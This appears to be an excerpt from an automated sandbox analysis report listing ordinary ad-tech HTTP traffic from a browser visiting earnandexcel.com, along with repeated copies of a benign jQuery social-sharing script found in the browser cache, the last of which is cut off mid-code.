Source: global traffic	HTTP traffic detected: GET /insync?vxii_pid=10067&vxii_pdid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent= HTTP/1.1Host: thrtle.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /match?liv=h&us_privacy=1---&bidder_id=90&external_user_id=4283912458326592098 HTTP/1.1Host: events-ssc.33across.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
Source: global traffic	HTTP traffic detected: GET /pbmtc.gif?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=$UID HTTP/1.1Host: beacon.lynx.cognitivlabs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/dcm?pid=a38a8ddf-19a7-4ab8-ba05-0a61de92a7e5&id= HTTP/1.1Host: aax-eu.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
Source: global traffic	HTTP traffic detected: GET /dsp/google/cookiematch/dv?gdpr=0&gdpr_consent= HTTP/1.1Host: ap.lijit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ljt_reader=IebHALZHwpD5VNKxRXavSHiL; ljtrtbexp=eJxdkLcVBEEIQ3uZeAO82dbuXe%2FrJkHhFyAEv9W5Tk42KjLRY8nEiMlMgoJOIRkbwMIUGyBCfgNq6fFw9w4p7SlbKTCBJUWwtKEOIcqAHRj8Bea9dsJbeusBnHDTeOP%2FAkTSTAk%3D
Source: global traffic	HTTP traffic detected: GET /CookieSyncPubMatic&gdpr=0&gdpr_consent= HTTP/1.1Host: rtb.adentifi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=rubicon&google_cm&google_sc&process_consent=T HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI
Source: global traffic	HTTP traffic detected: GET /sync?pid=187&uid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.bfmio.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=rubicon&google_hm=MGY1Nzc4ZDk5NDU1NDY3NDE2MDVmZDAzMDQzNzRlNjRlYTg1ODJlMQ HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI
Source: global traffic	HTTP traffic detected: GET /usersync2/rmpssp?sub=sovrn&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ope-dmplite.js HTTP/1.1Host: cdn.opecloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pub/sync?pubid=pub10014056052800&gdpr=0&gdpr_consent= HTTP/1.1Host: t.adx.opera.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /x/ae12848777b41970a5f2?gdpr=0&gdpr_consent= HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?cookieQ=1&nid=23&gdpr=0&gdpr_consent= HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ssi=08375435-4bac-4a12-9c28-185426f7e004#1712870824709
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?nid=3&gdpr=0&gdpr_consent= HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?id=LUVR2A3B-N-5ZEP&ex=d-rubiconproject.com&status=ok HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?cookieQ=1&nid=3&gdpr=0&gdpr_consent= HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ssi=e6ef51c6-bf79-4ef8-8306-49833c46ea9d#1712870824786
Source: global traffic	HTTP traffic detected: GET /pixel/p-5aWVS_roA1dVM.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1Host: cms.quantserve.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/rubicon/GwdIPMjxG_i4uNo47I2Yng?csrc= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBKRVGGYCEC_BlP8b8Gz3toB26nxk_KYFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAip50BDQPzIwlTtm3ffj6-Q
Source: global traffic	HTTP traffic detected: GET /sync?nid=11&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sa-user-id=s%3A0-b894bcc3-3b2f-50d3-402d-2b181c031c60.IqX9DPWbYeM51NyfkMcjjPPpKCEvMvvZ80%2F%2FBH8jmOg; sa-user-id=s%3A0-b894bcc3-3b2f-50d3-402d-2b181c031c60.IqX9DPWbYeM51NyfkMcjjPPpKCEvMvvZ80%2F%2FBH8jmOg; sa-user-id-v2=s%3AuJS8wzsvUNNALSsYHAMcYJySJMU.OEN4PZJfBCnNYtDFpqyeG12oeM4B4YyI34OvKrv3ZaE; sa-user-id-v2=s%3AuJS8wzsvUNNALSsYHAMcYJySJMU.OEN4PZJfBCnNYtDFpqyeG12oeM4B4YyI34OvKrv3ZaE; sa-user-id-v3=s%3AAQAKIFj8IrAFxc9JF5p99v-qPVGDNL9R0rGaVsC-1Ad4XS0GEHwYBCCkq-GwBjABOgT87-jmQgRiGLKP.YtACDgvMQsIU0b%2FozJQ8M9muxDUY7dXQvzi65ez2FbA; sa-user-id-v3=s%3AAQAKIFj8IrAFxc9JF5p99v-qPVGDNL9R0rGaVsC-1Ad4XS0GEHwYBCCkq-GwBjABOgT87-jmQgRiGLKP.YtACDgvMQsIU0b%2FozJQ8M9muxDUY7dXQvzi65ez2FbA
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=rp&google_cm&google_hm=TFVWUjJBM0ItTi01WkVQ HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI
Source: global traffic	HTTP traffic detected: GET /sync?bidswitch_ssp_id=pubmatic&bsw_custom_parameter=4a756380-b7e0-40d8-87fd-f9b0074cc705 HTTP/1.1Host: r.bidswitch.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870821
Source: global traffic	HTTP traffic detected: GET /syncframe?origin=publishertagids&topUrl=earnandexcel.com&us_privacy=1---&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid= HTTP/1.1Host: gum.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /esp?url=https%3A%2F%2Fearnandexcel.com%2F&rid=esp HTTP/1.1Host: oajs.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://earnandexcel.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=46e94f3a-bf92-4da1-a008-76f8bf99cb15\|1712870820; univ_id=537072971\|84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19\|1712870823933947
Source: global traffic	HTTP traffic detected: GET /sync?dsp_id=4&user_id=52f7b6d2-f774-409d-9ad9-9331a3cf6844&ssp=themediagrid&expires=30&user_group=5&bsw_param=4a756380-b7e0-40d8-87fd-f9b0074cc705 HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870821

Source: chromecache_523.1.dr	String found in binary or memory: (function(a){window.ShareLink=function(b,c){var d,e={},f=function(a){var b=a.substr(0,e.classPrefixLength);return b===e.classPrefix?a.substr(e.classPrefixLength):null},g=function(a){d.on("click",function(){h(a)})},h=function(a){var b="";if(e.width&&e.height){var c=screen.width/2-e.width/2,d=screen.height/2-e.height/2;b="toolbar=0,status=0,width="+e.width+",height="+e.height+",top="+d+",left="+c}var f=ShareLink.getNetworkLink(a,e),g=/^https?:\/\//.test(f),h=g?"":"_self";open(f,h,b)},i=function(){a.each(b.classList,function(){var a=f(this);if(a)return g(a),!1})},j=function(){a.extend(e,ShareLink.defaultSettings,c),["title","text"].forEach(function(a){e[a]=e[a].replace("#","")}),e.classPrefixLength=e.classPrefix.length},k=function(){d=a(b)};(function(){j(),k(),i()})()},ShareLink.networkTemplates={twitter:"https://twitter.com/intent/tweet?text={text}\x20{url}",pinterest:"https://www.pinterest.com/pin/create/button/?url={url}&media={image}",facebook:"https://www.facebook.com/sharer.php?u={url}",vk:"https://vkontakte.ru/share.php?url={url}&title={title}&description={text}&image={image}",linkedin:"https://www.linkedin.com/shareArticle?mini=true&url={url}&title={title}&summary={text}&source={url}",odnoklassniki:"https://connect.ok.ru/offer?url={url}&title={title}&imageUrl={image}",tumblr:"https://tumblr.com/share/link?url={url}",google:"https://plus.google.com/share?url={url}",digg:"https://digg.com/submit?url={url}",reddit:"https://reddit.com/submit?url={url}&title={title}",stumbleupon:"https://www.stumbleupon.com/submit?url={url}",pocket:"https://getpocket.com/edit?url={url}",whatsapp:"https://api.whatsapp.com/send?text={title}\n{text}\n{url}",xing:"https://www.xing.com/app/user?op=share&url={url}",print:"javascript:print()",email:"mailto:?subject={title}&body={text}\n{url}",telegram:"https://telegram.me/share/url?url={url}&text={text}",skype:"https://web.skype.com/share?url={url}"},ShareLink.defaultSettings={title:"",text:"",image:"",url:location.href,classPrefix:"s_",width:640,height:480},ShareLink.getNetworkLink=function(a,b){var c=ShareLink.networkTemplates[a].replace(/{([^}]+)}/g,function(a,c){return b[c]\|\|""});if("email"===a){if(-1<b.title.indexOf("&")\|\|-1<b.text.indexOf("&")){var d={text:b.text.replace(/&/g,"%26"),title:b.title.replace(/&/g,"%26"),url:b.url};c=ShareLink.networkTemplates[a].replace(/{([^}]+)}/g,function(a,b){return d[b]})}return c.indexOf("?subject=&body")&&(c=c.replace("subject=&","")),c}return c},a.fn.shareLink=function(b){return this.each(function(){a(this).data("shareLink",new ShareLink(this,b))})}})(jQuery); equals www.facebook.com (Facebook)
Source: chromecache_523.1.dr	String found in binary or memory: (function(a){window.ShareLink=function(b,c){var d,e={},f=function(a){var b=a.substr(0,e.classPrefixLength);return b===e.classPrefix?a.substr(e.classPrefixLength):null},g=function(a){d.on("click",function(){h(a)})},h=function(a){var b="";if(e.width&&e.height){var c=screen.width/2-e.width/2,d=screen.height/2-e.height/2;b="toolbar=0,status=0,width="+e.width+",height="+e.height+",top="+d+",left="+c}var f=ShareLink.getNetworkLink(a,e),g=/^https?:\/\//.test(f),h=g?"":"_self";open(f,h,b)},i=function(){a.each(b.classList,function(){var a=f(this);if(a)return g(a),!1})},j=function(){a.extend(e,ShareLink.defaultSettings,c),["title","text"].forEach(function(a){e[a]=e[a].replace("#","")}),e.classPrefixLength=e.classPrefix.length},k=function(){d=a(b)};(function(){j(),k(),i()})()},ShareLink.networkTemplates={twitter:"https://twitter.com/intent/tweet?text={text}\x20{url}",pinterest:"https://www.pinterest.com/pin/create/button/?url={url}&media={image}",facebook:"https://www.facebook.com/sharer.php?u={url}",vk:"https://vkontakte.ru/share.php?url={url}&title={title}&description={text}&image={image}",linkedin:"https://www.linkedin.com/shareArticle?mini=true&url={url}&title={title}&summary={text}&source={url}",odnoklassniki:"https://connect.ok.ru/offer?url={url}&title={title}&imageUrl={image}",tumblr:"https://tumblr.com/share/link?url={url}",google:"https://plus.google.com/share?url={url}",digg:"https://digg.com/submit?url={url}",reddit:"https://reddit.com/submit?url={url}&title={title}",stumbleupon:"https://www.stumbleupon.com/submit?url={url}",pocket:"https://getpocket.com/edit?url={url}",whatsapp:"https://api.whatsapp.com/send?text={title}\n{text}\n{url}",xing:"https://www.xing.com/app/user?op=share&url={url}",print:"javascript:print()",email:"mailto:?subject={title}&body={text}\n{url}",telegram:"https://telegram.me/share/url?url={url}&text={text}",skype:"https://web.skype.com/share?url={url}"},ShareLink.defaultSettings={title:"",text:"",image:"",url:location.href,classPrefix:"s_",width:640,height:480},ShareLink.getNetworkLink=function(a,b){var c=ShareLink.networkTemplates[a].replace(/{([^}]+)}/g,function(a,c){return b[c]\|\|""});if("email"===a){if(-1<b.title.indexOf("&")\|\|-1<b.text.indexOf("&")){var d={text:b.text.replace(/&/g,"%26"),title:b.title.replace(/&/g,"%26"),url:b.url};c=ShareLink.networkTemplates[a].replace(/{([^}]+)}/g,function(a,b){return d[b]})}return c.indexOf("?subject=&body")&&(c=c.replace("subject=&","")),c}return c},a.fn.shareLink=function(b){return this.each(function(){a(this).data("shareLink",new ShareLink(this,b))})}})(jQuery); equals www.linkedin.com (Linkedin)
Source: chromecache_523.1.dr	String found in binary or memory: (function(a){window.ShareLink=function(b,c){var d,e={},f=function(a){var b=a.substr(0,e.classPrefixLength);return b===e.classPrefix?a.substr(e.classPrefixLength):null},g=function(a){d.on("click",function(){h(a)})},h=function(a){var b="";if(e.width&&e.height){var c=screen.width/2-e.width/2,d=screen.height/2-e.height/2;b="toolbar=0,status=0,width="+e.width+",height="+e.height+",top="+d+",left="+c}var f=ShareLink.getNetworkLink(a,e),g=/^https?:\/\//.test(f),h=g?"":"_self";open(f,h,b)},i=function(){a.each(b.classList,function(){var a=f(this);if(a)return g(a),!1})},j=function(){a.extend(e,ShareLink.defaultSettings,c),["title","text"].forEach(function(a){e[a]=e[a].replace("#","")}),e.classPrefixLength=e.classPrefix.length},k=function(){d=a(b)};(function(){j(),k(),i()})()},ShareLink.networkTemplates={twitter:"https://twitter.com/intent/tweet?text={text}\x20{url}",pinterest:"https://www.pinterest.com/pin/create/button/?url={url}&media={image}",facebook:"https://www.facebook.com/sharer.php?u={url}",vk:"https://vkontakte.ru/share.php?url={url}&title={title}&description={text}&image={image}",linkedin:"https://www.linkedin.com/shareArticle?mini=true&url={url}&title={title}&summary={text}&source={url}",odnoklassniki:"https://connect.ok.ru/offer?url={url}&title={title}&imageUrl={image}",tumblr:"https://tumblr.com/share/link?url={url}",google:"https://plus.google.com/share?url={url}",digg:"https://digg.com/submit?url={url}",reddit:"https://reddit.com/submit?url={url}&title={title}",stumbleupon:"https://www.stumbleupon.com/submit?url={url}",pocket:"https://getpocket.com/edit?url={url}",whatsapp:"https://api.whatsapp.com/send?text={title}\n{text}\n{url}",xing:"https://www.xing.com/app/user?op=share&url={url}",print:"javascript:print()",email:"mailto:?subject={title}&body={text}\n{url}",telegram:"https://telegram.me/share/url?url={url}&text={text}",skype:"https://web.skype.com/share?url={url}"},ShareLink.defaultSettings={title:"",text:"",image:"",url:location.href,classPrefix:"s_",width:640,height:480},ShareLink.getNetworkLink=function(a,b){var 